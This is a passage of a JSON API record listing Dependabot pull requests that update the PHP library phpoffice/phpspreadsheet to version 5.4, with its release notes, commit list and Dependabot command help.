href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-11-24 - 5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/48f2fe37d64c2dece0ef71fb2ac55497566782af\"\u003e\u003ccode\u003e48f2fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4777\"\u003e#4777\u003c/a\u003e from oleibman/changelog20260109\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/79208b34f451a34f1c39a7e84c37bb87ea93b830\"\u003e\u003ccode\u003e79208b3\u003c/code\u003e\u003c/a\u003e Update Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2a60b97508329e93f7e73b0c28666ee54459c572\"\u003e\u003ccode\u003e2a60b97\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e from oleibman/issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/69d337ded7bd94b6dbc80d8f64226461b701337e\"\u003e\u003ccode\u003e69d337d\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/60d0afd50131792eab570e38e7a1afb1f637556f\"\u003e\u003ccode\u003e60d0afd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e from oleibman/issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c0b28c45fde1fa884b83abd069c2b3cb5d606fe7\"\u003e\u003ccode\u003ec0b28c4\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d9a4765bd54f08810f852eb9f67673c5b29024a0\"\u003e\u003ccode\u003ed9a4765\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9d60a10df16a9867f127b5d52b075534803a187\"\u003e\u003ccode\u003ea9d60a1\u003c/code\u003e\u003c/a\u003e Remove Trailing Space\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/53fe59626abefd7a557c750a6bad0f1b9582ec38\"\u003e\u003ccode\u003e53fe596\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f3f09bc9a6a335ccfe22690a89c25fe25dc2ecf8\"\u003e\u003ccode\u003ef3f09bc\u003c/code\u003e\u003c/a\u003e Mpdf Styling of Multi-Line Strings\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.2.0...5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.2.0\u0026new-version=5.4.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/heritage-africa/omni365-forms-build/pull/25","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/heritage-africa%2Fomni365-forms-build/issues/25","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/25/packages"},{"uuid":"3802725378","node_id":"PR_kwDOKcX5c868ngE7","number":94,"state":"closed","title":"Update phpoffice/phpspreadsheet requirement from ^5.3 to ^5.4","user":"dependabot[bot]","labels":["dependabot","dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-03-02T04:22:05.000Z","author_association":null,"state_reason":null,"created_at":"2026-01-12T04:29:31.000Z","updated_at":"2026-03-02T04:22:07.000Z","time_to_close":4233154,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Update","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"^5.3","new_version":"^5.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Updates the requirements on [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca 